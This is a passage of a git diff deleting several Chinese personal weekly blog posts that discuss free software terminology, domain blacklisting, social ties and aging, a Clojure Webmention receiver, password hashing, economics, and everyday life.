-不知道各位是否还听过这样一句话:「每一则广告都是一个神话」。广告其实就是在创造一种「符号」的神话。 - -1. 对于消费者、群体中的个体来说,在被激起想象时,不一定要思考脑中吸引人的形象,其来源究竟是什么,只需要思考:**要是我没看过这个东西,我会这么想要它吗**? -2. 如果你是宣传者、群体的领袖,你不需要复杂的逻辑链条,甚至不需要事实支撑。只要你的群体里没有特别的聪明人,你只需要思考如何通过符号、语言和套话激起形象。 - -### 断舍离时,如何筛选物品 - -1. 扔掉怎么看都想不出有什么用的东西,扔掉当下已经提不起兴趣的东西 -2. 用「自我/时间轴」筛选 -3. 以「必要,合适,愉快」为标准筛选 - -其中,「自我/时间轴」大概是这样的。 - - - -过去留作纪念的,未来可能会用到的,但看不到当下使用的画面感的;别人留下的,对自己没有特殊意义的物品…… 这些都是可以考虑丢掉的物品。 - -如果不确定哪些东西属于中心的「自我域」,就要用到「必要,合适,愉快」。这三个词的指向其实很明显了,换成三个问题就是:我真的需要这个东西吗?这个东西真的适合我吗?我拥有这个东西,真的会感到愉快吗? - -## 📒 - -[论浙江大学心目中的优秀学生](https://stephenleng.com/cn/on-the-excellent-students-in-the-mind-of-zhejiang-university/?utm_source=rss&utm_medium=rss&utm_campaign=on-the-excellent-students-in-the-mind-of-zhejiang-university) - -> 那么浙江大学心目中的优秀学生是什么样呢?我的回答是:**平庸之辈中的佼佼者**,或者“特曼的孩子们”(乔尔·舒尔金语)。 - -> 假如他们的确做出了哪怕是初步的突破,那么在主要事迹中应该写上他们发现了XX(如某个新的现象),提出了XX(如某个新的理论),解决了XX(如某个困扰已久的重大实际问题),创作了XX(如具有重要审美价值和意义的文学或艺术作品),并且强调为什么是新的,而不是发了几篇论文,在哪里做了志愿者,参加了什么项目,拿了几次奖学金,在哪里当审稿人。 - -原来不止不止我一个人觉得发论文、拿奖学金很无聊,无聊得可怕 - -[如何获得无限的邮箱 - 栖木的网络日志](https://blog.thedoga.tech/archives/27/) - -> 文章介绍了如何利用 Cloudflare 的域名邮箱和邮箱转发功能,生成无限个邮箱,以提高账号和密码的安全性 - -《乌合之众》 - -> - 疑惑一旦出口,立刻就成为不容辩驳的证据。 -> - 人生获得成功的条件是判断、经验、干劲和性格,书本当中绝对无法学到这些东西。 -> - 群体只有狂暴而极端的情感,好感会马上变成崇拜,而厌恶一旦产生就会化为仇恨。 - -[^1]: [代码重构 - 维基百科,自由的百科全书]( diff --git a/content/posts/weekly/70.md b/content/posts/weekly/70.md deleted file mode 100644 index f280d0f6..00000000 --- a/content/posts/weekly/70.md +++ /dev/null @@ -1,174 +0,0 @@ -+++ -title = '稻草人周刊 Vol.70' -subtitle = '被赋予的自由不是自由' -tags = ['软件','技术','自由','健康','生活'] -categories = '稻草人周刊' -date = 2026-03-02 00:18:59 -draft = false -toc = true -toot = 'https://akk.eltr.ac/objects/e6aa34de-da81-4aa2-9612-371465d5275b' -+++ - -{{< music cover="https://r2.eltr.ac/geedeapro/posts/weekly/70/Dark_Side_of_the_Moon.png" title="The Dark Side of the Moon" artist="Pink Floyd" apple="https://music.apple.com/cn/album/the-dark-side-of-the-moon-50th-anniversary-remastered/1665303755?l=en-GB" spotify="https://open.spotify.com/album/4LH4d3cOWNNsVw41Gqt2kv" >}} - -这是一张上世纪七十年代发行的摇滚专辑,是 Pink Floyd 乐队发行的第八张录音室专辑,名为《月之暗面》。我最喜欢的一首是 Brain Damage(脑损),不过,我建议你一定要从头到尾把专辑听一遍。专辑不长,只有十首歌,一共四十多分钟。这首 Brain Damage 和下一首 Eclipse(日食)连接非常顺滑,让不仔细听的人觉得是同一首歌,整张专辑都用这样的衔接串联了起来,最后以心跳声结束。 - -> And if the dam breaks open many years too soon <br /> -> 如果大坝早了许多年破裂 -> -> And if there is no room upon the hill <br /> -> 如果山丘上已经没有位置 -> -> And if your head explodes with dark forebodings, too <br /> -> 如果你的头脑也因不详的预感爆开 -> -> I'll see you on the dark side of the moon <br /> -> 我和你会在月之暗面相见 - -<!--more--> - -## 连接 - -### FLOSS 和 FOSS - -> [!note] 📜 -> [FLOSS and FOSS](https://www.gnu.org/philosophy/floss-and-foss.en.html) by Richard Stallman - - 如果你不知道这个作者是谁:他开发了 Emacs 编辑器,还编写了 GNU GPL 开源协议,是自由软件基金会的创始人。 - -本文解释了 FLOSS 和 FOSS 的区别,以及相关术语的政治倾向。简单来说,自由软件社区有两个政治派别:自由软件运动派(free software movement)和开源派(open-source)——这两个概念完全不一样,不应该混淆。自由软件是指可以自由运行、研究、更改,以及分发未更改或更改后副本的软件。开源的概念是后来(1998 年)出现的,一开始是为了避免人们混淆「Free」的意思(可能会被误以为是「免费软件」),不过开源的意思很快发生了改变,与自由软件运动分道扬镳。许多人把开源当成自由软件的商业概念,好让商业公司对自由软件的实用价值(practical benefits)感兴趣,而忽视了「自由」,很快「开源」就变成了强大、可靠软件的代名词,人们对「自由」的关注减少了。 - -很不幸,我最初接触到的概念就是「开源」,而非「自由软件」。 - -既然有两派之分,自然也有中立派。中立派使用「自由和开源软件」这个词,即 FOSS(Free and Open-Source Software)。这个词没能解释「Free」的真正含义,所以有人会使用法语或西语单词「Libre」来准确表达「自由」的意思,继而有了 FLOSS(Free/Libre Open-Source Software)这个词。Richard Stallman 在文中表示,自由软件运动的参与者不会使用 FOSS 或 FLOSS,因为这个词把 Free Software 切分开了,把注意力给了 Open-Source;应该使用 Free Software 或者 Libre Software 这个词。 - -至于我的态度,抛开别的不谈,如果只用言简意赅的程度来评判,我不得不说,「自由软件」是更好的词。此外,FOSS 和 FLOSS 作为缩略词,理解门槛会更高一些,而且中文里还是尽可能少夹杂英文比较好[^2]。 - -### 被赋予的自由不是自由 - -> [!note] 📻 -> [《独树不成林》308 - 女权是否意味着争取选择自由?](https://www.xiaoyuzhoufm.com/episode/699e1a79a22480add6f62ed7) - -播客从女性主义展开,回顾和分析了现代的人权进程,关于「自由选择的权利」。 - -播客中重要的观点是:被赋予的自由不是自由。一个思想停留在前现代的老妇人,没有自我意识,明明知道自己的丈夫对她不好,甚至恶语相向,却还要求死后跟丈夫葬在一起,并教育子女成为和他一样的受害者。这类人无疑是可怜的,但没有办法被拯救,即便他们在政治层面拥有了自由,他们也无法真正行使自由,甚者,他们根本不觉得自己是自由的,或者完全不会思考「自由」这个概念。 - -对于受过现代教育的人而言,自由也不见得总是好事。因为自由太广泛,选择的数目太多,人们获得的不是选择自由,而是选择困难。这种选择困难小到购买家电时陷入纠结,难以找到最好的选项;大到面对分叉的人生道路时,因无法在可能性之间做出选择,而荒废宝贵的时间。自由甚至妨碍了人们好好生活。许多人感到焦虑痛苦,就是因为有着无止尽的选择,每天都在为上一个选择而后悔,为下一个选择而纠结。这么看来,陈腐、老旧的生活方式,由于不需要支付选择自由的代价,反而是轻松的人生。 - -播客并没有给出解决方案,兴许也不会有适用于所有人的解决方案。争取自由(各种意义上的自由)都是要付出代价的,轻松的做法当然是服从长辈、听信权威、享受大科技公司的产品,把选择的代价外包出去,但别忘了,在「自由」和「轻松」之间选择,也需要拥有选择的自由。 - -### 永远不要买 .online 域名 - -> [!note] 📜 -> [Never Buy A .online Domain](https://www.0xsid.com/blog/online-tld-is-pain) - -作者在 Namecheap 上买了很便宜的 `.online` 域名,用来做产品的主页,网站上只放了一些介绍,和 App Store 的链接。某天他发现网站被标记为「危险网站」,整个浏览器页面都是红色的,绕过警告强制打开后,发现无法正常访问网站,状态显示 `serverHold`。排查后发现 DNS 没有解析,原因是这个域名被列进了「安全浏览黑名单」(Safe Browsing blacklist)。 - -在邮件联系了注册商和注册局之后,作者得知他必须在谷歌搜索控制台(Google Search Console)验证域名所有权,才能申请重审,但这无法做到,因为验证身份需要更新 DNS 记录,而他的域名因为被列入黑名单而根本没有被解析。 - -所以,教训就是:不要买看起来很奇怪的 TLD。 - -### 跟*蠢货*相处会变老得更快 - -> [!note] 📃 -> [Negative social ties as emerging risk factors for accelerated aging, inflammation, and multimorbidity](https://www.pnas.org/doi/10.1073/pnas.2515331123) - -这是一篇科学研究,我只读了摘要部分,所以会有疏漏。 - -简单来说,负面的社会联系(negative social ties)会加速衰老和增加疾病发病率,其中衰老是通过基于 DNA 甲基的衰老生物钟测量的(DNA methylation-based biological aging clocks)。文中把这种负面的社会联系称作 Hassler(纠缠者),并发现研究中 30% 个体都报告他们的社交网络中,至少有一位 Hassler。Hassler 一般占据社交圈的外围,属于弱连接。女性、烟民、不健康者和有着恶劣的童年经历的人,更容易遇到 Hassler,这形成了规律:在社交层面易受攻击(vulnerable)、在健康层面易受病扰的人更容易遇到 Hassler。所以,我猜,如果要尽可能少遇到这类人,应该要变得足够自信和强大才行。 - -社交网络中每多一个 Hassler,衰老的速度就会增加 1.5%,大概会变老 9 个月。不同的人影响也不同,亲属和非亲属 Hassler 与健康有着有害的联系,而如果伴侣是 Hassler 的话,则没有。如果 Hassler 数量众多,对健康的影响就不只是变老那么简单。 - -我最近在使用一个 App 分析我锻炼时的「最大摄氧量」,这个 App 会对比同龄人中的平均数据,并计算出我的身体年龄(当然和研究中使用的方法不一样,软件算法也不能和科学研究相提并论)。春节回到家之后,App 计算得出的我的身体情况明显下滑,并表示我正在快速衰老(Aging Quickly),而我刚回到自己家一天,这个数据就开始慢慢回升了。尽管没有太多科学依据,但我觉得这是我远离了一大群 Hassler 导致的,当然还有睡眠的影响,在老家的时候总是睡不好。 - -## 星群 - -### 互联网电话册 - -在一个电话界面拨号,就能接通某个个人网站。Internet Phone Book 是每年发布一次的刊物,收录了各种有趣的个人网站,每个网站都有「电话号码」。我是在 [Elle](https://ellesho.me/page/) 的主页发现这个网站的,他的互联网电话号码是 `677`。 - -不过我找了半天,也没有找到提交网站的地方,内容兴许都是创始人亲自挑选和收录的吧。 - - - -访问:[Internet Phone Book](https://internetphonebook.net/) - -### SplatHash - -一个用户生成模糊图片的哈希算法,与 BlurHash 类似,不同的是,这个算法能给任何图片生成固定 16 字节大小的哈希,也可以表示为 22 个字符的 `base64` 编码字符串,而且,它的解码速度非常快,占用非常小。目前主要提供 Go 语言、TypeScript 和 Python 实现的程序。 - -这个算法也有缺点,是我的个人观点:生成出来的模糊图片太丑了。 - - - -访问:[junevm/splathash](https://github.com/junevm/splathash) - -### Stop Tahoe Update - -Stop Tahoe Update(停止 Tahoe 更新)是由社区维护的项目,帮助不想更新到 macOS Tahoe 的用户留在 Sequoia 等稳定版本上。目前这个项目提供了 Device Management 的配置文件,通过这个配置文件,用户能够推迟 macOS 更新最长 90 天,具体效果是: - -1. 阻止「今晚安装」和「立即安装」的提示。 -2. 阻止系统设置中「有新版本」的数字提示。 -3. 检测并选择性阻止 macOS 系统应用的安装。 - -我的 Mac Mini 安装了 Tahoe,但我的主力机 MacBook 还是 Sequoia,我也不打算更新。我时常会收到系统更新提示的骚扰,这个项目帮助很大。顺带一提,我觉得这句话我永远也说不够:*macOS Tahoe 毁了 Safari!* - -访问:[travisvn/stop-tahoe-update](https://github.com/travisvn/stop-tahoe-update) - -## 当下 - -### 平淡无奇的日常 - -本周是待在老家的最后一周,周末就回家了。回去之前除了每天给弟弟补习英语,偶尔出门闲逛,坐在及其不舒服的桌椅上看剧和玩网,以及读读书和写写代码之后,就没干别的了。 - -唯一的例外是周二出门和高中同学玩剧本杀,两三年没见面,感觉大家都没怎么变。不过,倒是有不少人惊讶我瘦了好多,还挺爽的。剧本是不用带脑子玩的类型,很俗套的家庭纠葛,结婚、争彩礼嫁妆、离婚、分财产和抚养权…… 不过倒是有很多吵架和演戏的情节,非常戏剧化,玩得还算开心。 - -*我真的是个内向者吗?* - -在老家的几周,每天都想出门闲逛,但又找不到地方去。回家之后,倒是每天都想在家待着,要逼自己多出门走走,取个快递、倒倒垃圾之类的。在家多快乐,走出书房就可以去吧台给自己冲杯咖啡,冰箱里没有被喜好囤积的老人塞满不知道是什么的冻货,每个地方都是干净整洁的。 - -### 就决定是你了,口呆花! - -[Weepinbell](https://codeberg.org/eltrac/weepinbell) 稳步开发中(指周日的时候突然想起来自己打算用 Clojure 写个 Webmention 接收端,这才 `cd` 进项目目录)。周中把 [Webmention 规范](https://www.w3.org/TR/webmention/)里有关接收端的部分仔细读了一遍,发现这真的是一项非常简单的技术规范,门槛并不高,只是知名度太少,导致普通用户没有开箱即用的选择。 - -简单到什么程度呢?大概就是发送端只需要向接收端发送一个 POST 请求(只包含 `source` 和 `target` 两项数据,表单格式,不用 JSON),而接收端也只需要处理这一个 POST 请求,检查一下 URL 是否合法、有没有自己引用自己的情况、爬一下 `source` 看看是不是真的引用了 `target`。除了规范要求 Webmention 验证应该异步进行之外,就没有太多其他的技术规范了,收到 Webmention 之后要怎么存储、怎么展示、作何处理,都是接收端自己决定。 - -用 Clojure 编写 Web 应用的体验也很好,可以直接偷 Java 生态的库来用(比如,我验证 URL 的时候就用到了 `apache.commons.validator`,提取域名的时候用到了 `java.net`)。由于需要异步编程,还研究了一下 `clojure.core.async` 库,发现 Cloure 竟然支持和 Go 语言类似的并发模型,有 `go` 和 `chan`,没想到偷完 Java 生态,还能偷 Go 的异步编程最佳实践来用,而且能复用编写 Java 和 Go 两门语言的程序的经验,真的很舒服了。 - -处理 Webmention 很显然需要一个消息队列:把所有待处理的 Webmention 都放在一个 `channel` 里(在 Go 语言里是`c := make(chan type)`,在 Clojure 里是 `(def c (chan))`),然后启动一个或多个 `goroutine` 从 `channel` 里取出 Webmention 对象,爬取 `source` 验证是否包含引用,确认无误之后存入数据库,这些都可以轻松地异步执行。不过 Clojure 里应该是没有 `goroutine` 这个东西了,不知道底层是不是 Java 那臃肿的 `Thread`。无论如何,能够直接写 `(go ...)` 进行并发就已经很好了。 - -至于存储,我还在思考选用什么数据库。尽管在部署应用时常用 SQLite,但开发时我只用过 MySQL 和 MariaDB。我想,这正好是尝试新技术的机会,而且 Webmention 相互没有关联,数据结构并不复杂,兴许用 NoSQL(非关系型数据库)很合适,正好可以试试 MongoDB。另外的选择是用 SQLite 存储 JSON 数据,或者直接把所有 Webmention 都放在一个 JSON 文件里。这些都是下周要去做的事情了。 - -最后解释一下为什么项目名字叫 Weepinbell 吧。因为不想起名字,又受 [Repokemon](https://cheeaun.github.io/repokemon/) 启发,决定选一个宝可梦的名字。一开始想取 Web(网络/蜘蛛网)的意思,选个配色和 Clojure 的蓝绿色调相似的宝可梦,所以看上了滴蛛(Dewpider)。不过本人很讨厌蜘蛛,而且 mention 这个词也完全没体现出来。最后翻来翻去,选择了口呆花(Weepinbell)的名字。因为前两个字母 `We` 和 Webmention 的前两个字母相同,而后面的 `bell` 一词意为「铃铛」,可以表示「通知」,而 Webmention 本身的用途就是通知,通知作者他的内容被另一个站点上的内容引用了。 - -## 切片 - -- “哈!你用浏览器编辑文本。” —— NeoVim 的主要贡献者 TJ DeVries 在 [2024 年 VimConf](https://www.youtube.com/watch?v=5u604lTkGAY) 劝告 (Neo)Vim 用户们不要用这种话说服别人使用 (Neo)Vim。 - -  - - ~~可是,VS Code(以及 Cursor 等 VS Code 分支)就是浏览器啊!~~ - - *逃离现场。* -- 看到日本网站丑丑的设计反而觉得有点喜欢,大概是因为喜欢多样性,扁平、单色、冷静、克制的设计看太多了,不免有些乏味。([相关链接](https://sabrinas.space/))最近在 IndieWeb 上闲逛的时候,也看到了一些不太主流的设计,我想这是个性的体现,比在主题商店找到的好看模板更吸引人。 -- 想把旧电脑的硬盘拆下来做成移动硬盘,硬盘盒已经买好了,结果我拆电脑的时候被父亲撞见。 - - 他:电脑留给我用,硬盘我给你买一个。 - - 我:啊?现在硬盘贵得很…… - - 他:没事,要好多钱你给我说嘛。 - - 于是我现在有了一个 2TB 大小的移动 SSD,目前用来备份 iCloud、S3 储存桶和服务器,兴许还会存点音乐和剧什么的吧。感觉可以做一个末日[^1]生存包,存一些音乐和《老友记》全集,应该能维持很长一段时间的 san 值健康。 -- 又买了管道疏通剂,尝试疏通浴室的地漏。用完一整瓶疏通剂之后才发现,水排得慢并不是因为管道堵塞,而是滤网的设计缺陷。说是设计缺陷毫不夸张,因为那个金属滤网上有一个类似盖子的结构,会在安装上之后挡住排水口,只留下非常小的缝隙;而盖子旁边是环形的凹槽,那里会积水,大概是和管道形成了类似连通器的结构,凹槽水满了之后会从盖子的缝隙流到管道里。 - - 这貌似是给水量不大但有排水需求的场所使用的滤网,能够有效拦截固体避免堵塞,但根本没办法在淋浴时有效排水,房东装这房子的时候是怎么想的? - - 室友:能不能把滤网翻过来用? - - 如果忽略掉那个朝上的盖子,洗澡时小心不要踩在上面的话,排水就很顺畅了…… 忍了半年的积水问题,竟然是这个原因吗…… - - -[^1]: 指断网。 - -[^2]: [用词](/glossary/#:~:text=battries%2Dincluded-,%E8%87%AA%E7%94%B1%E8%BD%AF%E4%BB%B6,-%E5%8F%AF%E4%BB%A5%E8%87%AA%E7%94%B1%E8%BF%90%E8%A1%8C)页面已更新。 diff --git a/content/posts/weekly/8.md b/content/posts/weekly/8.md deleted file mode 100644 index de247b75..00000000 --- a/content/posts/weekly/8.md +++ /dev/null @@ -1,153 +0,0 @@ -+++ -title = "稻草人周刊 Vol.8" -subtitle = "新的格局" -description = "新博客、新栏目、二元对立、错误的密码、传播媒介" -date = 2024-12-23 08:39:00 -categories = "稻草人周刊" -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-8/", - "/posts/稻草人周刊-vol-8/", - "/posts/weekly/8", -] -tags = [ - "二元性", - "计算机", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/),个人化的信息整合,每周一更新。 - -> [!note] 🕵 -> 周刊的栏目进行了较大的调整,目前分为四个部分:🏃♂️*最近我在做的事情*、📚*图书推荐*、🔍*主题探索*和一个😼*神秘的新栏目* - -## 🏃♂️ - -创建了名为 [ultralime](https://www.ultrali.me) 的新博客,聚焦于虚构写作,我也搜罗了这几年写过的一些零碎作品(其中大部分内容都可以算黑历史)放在这个博客里。 - -我也把这个博客里的小说移到新博客里了,今后这两个博客都会更新。也就是说,如果你不喜欢读这个自以为是的傻子写的垃圾小说的话,你以后就不用在这个博客看到那些内容了。 - -如果你感兴趣,可以[订阅 ultralime](https://www.ultrali.me/posts/index.xml)。关于新博客的更多内容,请移步至[关于页面](https://www.ultrali.me/about)。 - -## 📚 - -恭喜你发现了新栏目!我会在这里推荐一些值得阅读的书籍,也可能会放一些写得不好的书,我都会给出我的评价。前几天写的[年度读书总结](/posts/in-libris-libertas/)大概不会每年都写了,取而代之的是周刊的新书栏目。 - -{{< book title="How to Teach Economics to Your Dog" cover="https://r2.eltr.ac/uPic/2024/12/image-20241219180235863.png" rating="⭐️⭐️⭐️" >}} - -是《How to Teach Philosophy to Your Dog》的姊妹篇,出场人物有“我”、Monty(宠物狗)和一个哲学家,他们住在一间房子里。 - -书本通过和“我”和宠物狗的几次散步(walk 也有遛狗的意思),以及和狗狗在路上的闲聊,用通俗有趣的语言讲解经济学原理。 - -{{</ book >}} - -这本书我其实并没有读完,因为我觉得它写得太拖沓了。如果真的想要入门经济学,不建议读这种书,因为这本书的定位可能更偏向于「寓教于乐」。如果想学经济学,直接去读曼昆的《经济学原理》,这书写得很清楚了,不难读。 - -## 🔍 - -### 探索二元对立 - -二元对立原本是一个哲学术语,它指那些彼此相关联但意义完全相反的概念。 - -如果你学过马克思主义基本原理,你应该听说过「矛盾对立」这个概念。这两个概念有很大不同,前者是概念和形而上学的,后者和辩证法、事物的运动发展有关,但你可以借助矛盾对立来理解二元对立。 - -我收集了一些讨论一些二元对立概念的文章,你会发现这样的关系几乎无处不在。二元对立可以被用作一种思维模型,帮助认识和思考问题。 - -如果你感兴趣,你可以读一读列表里的文章,看看在实际的语境下,二元对立可能是什么样的关联。 - -- [写和说的区别 - 极客死亡计划](https://www.geedea.pro/posts/写和说的区别/) - - 在这篇文章里,我在探讨写和说这一组概念时,还涉及到了理性的存在于缺失、听和读、自我与群体等概念;可能不太容易想到,存在与缺失也是一组值得讨论的概念。 - -- [紧急 VS 重要 - Rolen's Blog](https://rolen.wiki/urgent-vs-important/) - - 紧急和重要能不能算二元对立或许有待商榷,但这两个概念确实经常放在一起讨论。这篇文章提到了著名的四象限时间管理法,你或许会想要了解。此外,另一个我没记住名字的人说过,在他的认知里,重要的事情永远不紧急,紧急的事情永远不重要,兴许对同意这类观点的人来说,紧急和重要就是二元对立的吧。 - -- 曼昆《经济学原理》:*人们面临权衡取舍* - - 将视角从哲学转向经济学,就能看到二元对立是如何影响人们决策的。这里的「人们面临权衡取舍」,指的是每个决策既有收益也有成本,比如,如果你花了一个小时学英语,那么你能花在数学上的时间就少了一个小时。收益和成本也是二元对立的概念。 - -- [中国人的 A 与 B - 莫比乌斯](https://onojyun.com/2024/07/13/中国人的a与b/) - - > 只要证明了B是错的,那A一定是对的;反之同理,如果A是绝对没错的,那么B就绝对有错。 - - 某种程度上,这里的 A 与 B 可以理解为「自我」与「他者」的对立——只要证明自己是对的,就能证明对方是错的;证明了对方是错的,就能证明自己是对的。这篇文章提出的观点,也反映了二元思维的局限性,以及它可能造成的谬误。 - -- [谁定义了对错?从社会框架中解放自我 - 白熊阿丸](https://blog.bxaw.name/archives/Who-Defines-Right-and-Wrong-Liberating-Yourself-from-Social-Frameworks.html) - - 对与错是很常见的二元对立概念。这篇文章更是直接指出凡事都要分个对错的思维之问题。 - -### 为什么错误的密码需要更长的时间加载? - -不知道你有没有注意过,在解锁电脑时,无论是 Windows 还是 MacOS,输入正确的密码能很快进入系统,如果输入了错误的密码,电脑似乎要花更长的时间反应。这是为什么? - -如果是故意在输入密码后设置了延迟,这有些没必要,因为多次输入错误密码,本身就会使系统触发一个锁定计时器,也就是类似「请 30 分钟后再尝试」的东西。 - -从技术上讲,大部分系统在处理密码时,都会用到哈希算法。哈希算法也叫散列算法,在密码学的应用中,他常常用来单向加密,也就是把不定长度的字符串,经过特定的计算,变成固定长度的密文,并且任何人都没有办法通过密文推出原文,因为哈希算法具有一定的破坏性,原文的信息不会得到保留。不过,由于算法是固定的,所以相同的原文就可以算出相同的密文。操作系统会储存密码的哈希值,用户输入密码时,操作系统会计算输入密码的哈希值,然后和储存的哈希值进行比对。 - -无论密码正确与否,难道不都是用相同的算法处理,然后进行比对吗?对的密码和错的密码,也没有什么明显的特征上的区别,大部分时候都只是输错了一两个字符,为什么会影响速度呢? - -照理来说,错误的密码应该会更快被计算机识别。因为,如果要确认一个密码是正确的,就需要比对哈希值里的每一个字符;但如果要确认一个密码是错误的,发现第一个不匹配的字符就可以了。 - -如果你希望读到一些精巧的设计思想,很遗憾,这里没有。我发现的大部分观点,都认为这个延迟是故意设计的,为了防止暴力破解,我想这算是双重保险吧。 - -也有一些有意思的说法:如果操作系统发现密码错误,它会执行一些额外的步骤来保证安全。不过这些步骤是什么,有没有公开的、可以参考的标准,我都没能找到答案。 - -### 我们需要什么样的传播媒介? - -[视频是必要的吗? - 赫鸿涛](https://hongtaoh.com/cn/2024/12/18/videos/) - -> 我的结论是,至少 90% 的知识视频没有必要用视频这个载体。我能想到的唯一一个视频真的需要的例子是 3blue1brown 那些介绍线性代数的视频。但即使是这些,我觉得完全可以用单一图像代替,而不是非要用视频。 -> -> …… -> -> 看视频不需要观众投入很大的精力,更像是一种被动学习。而文本则需要读者投入很大的专注力才能学懂。所以,看视频虽快,而且看完后感觉自己学到了,其实并没有。 - -先粗略地给当今人类常用的传播媒介分个类: - -- 一维 - - 文字:书本、文件、网页、纯文本的资料和笔记 - -- 二维 - - 音频:播客、录音(这里不讨论艺术相关的音乐) - - 图像:流程图、示意图、图文并茂的文档(这里不讨论艺术相关的绘画) - -- 三维 - - 影像:电影、视频 - - -兴许电子游戏能算作四维的,但这里不讨论。以下的「理论」是基于经验总结的,没有太多依据,看看就好。 - -从一维到三维,随着维度的增加,传播的成本在增加,接收者所需要的参与度也更少。做视频肯定比写字更难,光从数字存储的角度看,视频占据的磁盘空间比纯文本大多了;看视频要比阅读容易得多,音频也是如此,很多人喜欢听书而不读书,可能就是因为听比读简单。 - -要迎合大众、要让自己的内容被更多人发现,就必然要花高成本,使用对接收者来说更轻松简单的传播媒介。传播知识时,视频或许是不必要的,甚至是对数字资源的浪费,但知识类视频的目的并不是纯粹地传播知识。 - -回到原来的问题,我们需要什么样的传播媒介?——看需求,看目的;明确你想要达到什么样的效果,同时也衡量你能付出多少成本。 - -## 😼 - -我老是喜欢在手机相册里存一些梗图,和其他有意思但没必要一直留着的图片。我想我可以把它们放在周刊里,这样就不用留在相册里占地方了。顺带,也能传递一下快乐——*毕竟这个博客的内容有些太严肃了,不是吗?* - -{{< gallery >}} - - - - - - - - - - - -{{</ gallery >}} - ---- - -## One More Thing - -如你所见,周刊的结构其实一直在调整。工具和资源分享类的周刊已经很多了,我不想写这样的内容;如果只是做信息的整合,似乎又少了些个人特色。 - -前几期的周刊一直在写很多「短想法」,我觉得自己似乎又浪费了一些原本能写成文章的好点子。 - -周刊开头的「最近在做的事情」,和后面的书推、meme 梗图栏目,应该都会保留,但中间要放些什么样的内容,我还在思考。目前就把那个栏目当作「和某个小的主题相关的内容整合」就好。 diff --git a/content/posts/weekly/9.md b/content/posts/weekly/9.md deleted file mode 100644 index 5e760525..00000000 --- a/content/posts/weekly/9.md +++ /dev/null @@ -1,83 +0,0 @@ -+++ -title = "稻草人周刊 Vol.9" -subtitle = "无法计量的价值" -description = "亚克力挂件、断舍离、贸易让人们的生活更好、一个人应该会做什么" -date = 2024-12-30 08:27:00 -categories = "稻草人周刊" -tags = [ - "经济学", - "Backrooms", -] -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-9/", - "/posts/稻草人周刊-vol-9/", - "/posts/weekly/9", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/),个人化的信息整合,每周一更新。 - -## 🏃♂️ - -收到了来自后室中文维基的 [Be The Worthy](https://backrooms-wiki-cn.wikidot.com/) 赠送的礼物。是之前参与竞赛并获得前十排名的纪念品。挂件上的缠绕着卷轴的带刺玫瑰,是我的参赛作品《摩登女巫》中的意向,图像是赠礼者本人绘制;「问与答」是这次竞赛的主题。 - - - -这是我第三次在周刊里展示自己收到的东西了,感觉自己有可能会变成一个开箱博主。如果有机会,也真想送出点什么给别人。 - -## 📚 - -{{< bookcard "断舍离" >}} - -## 🔍 - -### 贸易如何让人们的生活都变得更好? - -经济学家的目的是尽可能达成「最优」,用哲学家的话来说,就是实现「善」的最大化。 - -经济学的一个基本原理是:**某物的成本是为了得到它所放弃的东西**。这些放弃的东西被称作「机会成本」,涵盖的范围很广。比如,如果你工作三年打算辞职出国留学,那么这一行为的机会成本就是:留学两年要交的学费、这两年里你原本能拿到的工资、你的时间、你的人脉等等。 - -从经济学的视角来看,最优的选择不只是优势最大的,也是机会成本最小的。在生产关系中,有的人拥有绝对优势,能在单位时间里生产更多的物品,但有些人拥有更低的机会成本,进而拥有比较优势。 - -如果甲能在单位时间内生产 30 个产品 A 或者 2 个产品 B,但乙只能生产 10 个产品 A 或者 1 一个产品 B,显然甲具有绝对优势。但问题在于,如果甲把时间用于生产产品 B,他就不能生产产品 A;对甲来说,生产一个产品 B 的机会成本是 15 个产品 A。 - -然而,乙生产一个产品 B 的机会成本是 10 个产品 A。也就是说,尽管乙没有任何绝对优势,但它有更低的机会成本。在这样的关系中,甲应该尽可能多地生产产品 A,乙应该尽可能多地生产产品 B,这样才能把蛋糕做大。 - -在甲和乙的例子中,生产 B 的机会成本分别是 15 和 10 个 A。如果甲和乙以 10~15 之间的价格,比方说 12 个产品 A,进行产品 B 的交易,那么双方都能获益:在一个单位时间内,甲生产了 30 个产品 A,乙生产了 1 个产品 B;甲用 12 个 A 交换了乙的 1 个 B;最后,甲获得了 18 个 A 和 1 个 B,乙获得了 12 个 A,双方最终得到的,都比自己原本能在单位时间内生产的产品多。 - -由此可见,让人们生产自己拥有更高比较优势的产品,才能实现「最优」和效益的最大化,在相同的时间内生产更多的产品。 - -### 一个人应该会做什么? - -> 一个人应该能够给孩子换尿布、计划一次侵略行动、杀猪、驾驶飞船、设计建筑物、写诗、做会计账目、砌墙、接合断骨、照顾临终的人、执行命令、下达命令、与人合作、独立行动、解方程式、分析一个新问题、施肥、编程、做一餐美味的饭、高效地战斗、勇敢地死去。专业化是为昆虫准备的。 - -——罗伯特·海因莱恩 - -这是我在逛 [Elizen](https://elizen.me) 的博客时看到的一句话,我很喜欢这个句子,但是,它似乎和上一小节的内容相悖。专业化能提高经济整体的效益,对于个人来说又是怎样的呢? - -从经济学和机会成本的角度考虑,很多事情你不需要会做。假设你的时薪是 60 元一小时,请一个家政上门打扫需要 50 元一小时。这种情况下,自己打扫房间的机会成本是 60 元,比请家政的成本高 10 元。 - -但换个角度考虑,整理自己的住所也可以是一件放松的事情。如果你自认为是一个生活有格调和品位的人,对自己的室内陈设多下点功夫,也是令人满足的自我外化,能满足内心的某种需求。这样的价值,是绝对无法用 10 块钱来衡量的。 - -无论从经济效益考虑,还是从个人生活的角度考虑,人需要学会做哪些事情,都取决于对自身的价值,可以是经济价值,也可以是必要的情绪价值。 - -## 🐈 - -最后,来点英语双关笑话 ☝️🤓 - -{{< gallery >}} - -](https://r2.eltr.ac/uPic/2024/12/d5e73bfa03410ff512431122ad3612193457b754f60038949be7c482f0696779_1.jpg "[来源](https://ifunny.co/picture/dad-why-is-my-sister-i-named-teresa-because-your-AasWkYuXB)") - -](https://r2.eltr.ac/uPic/2024/12/ly5i5f6g76351.jpg.webp "[来源 Reddit](https://www.reddit.com/r/funny/comments/gxewcg/whens_your_birthday/)") - -](https://r2.eltr.ac/uPic/2024/12/0sht440sdtt61.jpg.webp "[来源 Reddit](https://www.reddit.com/r/translator/comments/mt13fi/polish_english_this_meme/)") - 